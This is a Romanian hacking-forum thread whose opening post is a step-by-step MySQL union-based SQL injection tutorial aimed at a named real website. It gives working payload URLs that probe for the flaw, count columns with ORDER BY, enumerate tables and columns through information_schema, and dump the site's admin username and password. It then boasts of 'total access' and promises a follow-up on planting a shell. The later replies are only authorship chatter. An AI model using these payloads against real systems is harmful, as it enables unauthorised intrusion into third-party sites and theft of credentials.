Simpatie.ro - matrimoniale
H4cky0u Forum
Tutoriale de toate tipurile
Nou pe simpatie:
Pavel Andreea la Simpatie.ro
Femeie
24 ani
Vrancea
cauta Barbat
28 - 49 ani
H4cky0u ForumReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
H4cky0u Forum / Tutoriale /

Tehnica Mysql Injection

Pagini: 1 Moderat de PaiN
#1
PaiN
Moderator
Postari: 28
Dupa cum cred ca deja stiti pentru gestionarea bazelor de date exista mai multe ODBC-uri pentru gestionarea si conectarea la o baza de date. In acest tutorial voi prezenta Tehnica de exploatarea ODBC-ului MySql.

Cred ca toti va intrebati de ce apare o astfel de eroare, ei bine daca un parametru nu este bine filtrat atunci interogarea la baza de date devine alta, voi da un exemplu apoi vom trece la exploatarea pe un site. Sa zicem ca un user face urmatoarea interograre :SELECT FROM membri WHERE nume='$name' , un raufacator sa zicem ar putea cere un anumit username   pentru variabial $name SELECT FROM membri WHERE nume='n00b', insa daca codul php ar fi scris gresit neavand filtre daca ar mai aduga un ' dupa interogare aceasta ar deveni una incorecta  SELECT FROM membri WHERE nume='n00b'' , in asa fel incat baza de date sa genereze o eroare iar raufacatorul de exemplu sa adaoge un mic cod sql care sa schimbe total aceasta interogare 'OR nume='admin', astfel interogarea va selecta fie userul cerut fi adminul, dar findca este acel ' care impiedica ca interogarea sa fie corecta raufacatorul va selecta adminul.

Acum vom testa vulnerabilitatea pe un exemplu concret : http://marnic.com/productdetail.php?id=164.

Pentru a testa daca este vulnerabil acest site dupa 164 punem ' .
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/sites/marnic.com/public_html/productdetail.php on line 17


Acum urmeaza sa cautam campurile tabelului in care ne aflam, si baza de date in care facem noi interogarile: Campurile se pot afla prin mai multe metode eu o sa va ofer doar una usoara prin comanda ORDER BY specifica limbajului SQL. Url-ul nostru devenind
http://marnic.com/productdetail.php?id=164 order+by+100 --


daca va genera o eroare atunci insemna ca numarul de coloane este mai mic decat numarul 100 , apoi incercati cu numere mai mici 10 , 20 , astfel in cazul nostru numaratoarea se opreste la 29.

Poate va intrebati ce e cu acele "--" sau "+" , cele doua liniute -- inchid interogarea iar acele + sunt pentru a nu aparea %20 astfel codul din url devenind greu de citit.

Dupa ce am aflat numarul de campuri care este in numar de 29(http://marnic.com/productdetail.php?id=164 order+by+29 --) trebuie sa aflam ce e cu "viata lor". Astfel folosim instructiunile SQL : SELECT si UNION. astfel totul transformandu-se in :
http://marnic.com/productdetail.php?id=164%20union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--




Problema este ca nu se vad campurile vulnerabile, astfel de unde stim noi ceea ce interogam in acest caz este usor plasam un "-" in fata numarului 164 si totul se schimba in favoarea noastra.



acum sa aflam cate ceva despre  veriune, user, baza de date  :


http://marnic.com/productdetail.php?id= ... 27,28,29--


database()- baza de date curenta

user()-userul

verison()-versiunea mysql




Acum sa trecem la cautarea numelor de tabel, fiindca este versiunea >4 a mysql-ului putem folosi information_sechma atat pentru tabele cat si pentru coloane.

Exista 2 cai de afalare a numelor de tabele cea de concatenare a tuturor numelor de tablele sau manual cu functia limit sql. Acum url-ul nostru devine :


http://marnic.com/productdetail.php?id=-164%20union+all+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from information_schema.tables  limit  1,1--


Aceasta metoda este costisitoare asa ca folosim functia group_concat() ca sa concatenam toate numele de tabele.


http://marnic.com/productdetail.php?id=-164%20union+all+select+1,group_concat%28table_name%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%20from%20information_schema.tables%20--


Lista tuturor tabelelor :
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,

COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,

SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,

USER_PRIVILEGES,VIEWS,m_admin,m_banned_ips,m_category,m_count,m_page_ranks,m_pages,

m_product_ranks,m_products,m_products_viewe





Pentru aflarea colonelor se procedeaza identic doar ca in loc de table_name se pune column_name , information_schema.columns


http://marnic.com/productdetail.php?id=-164%20union+all+select+1,group_concat%28column_name%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%20from%20information_schema.columns%20--


Daca doriti sa aflati coloanele unui anumit table trebuie sa folositi Clauza WHERE exemplu :


http://marnic.com/productdetail.php?id=-164%20union+all+select+1,group_concat%28column_name%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%20from%20information_schema.columns%20where%20table_name=%22m_admin%22--




Acum o interogare finala :
http://marnic.com/productdetail.php?id=-164%20union+all+select+1,group_concat%28username,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%20from%20m_admin--




Dupa cum observati am extras adminul si parola, acum avem acces total.

Astept comenturi si intrabari, va urma un articold efinisare a acestuia in care voi prezenta scurtaturi , mai multe tehnici , cum punem un shell prin mysqli, asa ca fiti cu ochii pe blog.

Source : http://r3vik.info/


 
   
#2
GaMa
Administrator
Postari: 205
sursa e blogul meu :|

 
   
#3
PaiN
Moderator
Postari: 28
pai de unde am luat eu...era postat tot de tine...:| modific imd

 
   
#4
GaMa
Administrator
Postari: 205
ok ( asta e unul din vechiurile mele bloguri)

 
   
#5
PaiN
Moderator
Postari: 28
da...vechi dar foarte folositor..dar am vazut acest tutorial si pe blogul tau..acolo l`am vazut primul...

 
   
#6
GaMa
Administrator
Postari: 205
http://h4cky0u.3xforum.ro/post/161/1/Pr ... e_simplu_/ ia sa va vad

 
   
#7
PaiN
Moderator
Postari: 28
apropo...tutorialul e facut de tine?

 
   
#8
GaMa
Administrator
Postari: 205
da logic

 
   
#9
PaiN
Moderator
Postari: 28
foarte reusit:>bv

 
   
#10
GaMa
Administrator
Postari: 205
are ceva goluri

 
   
Pagini: 1  
Mergi la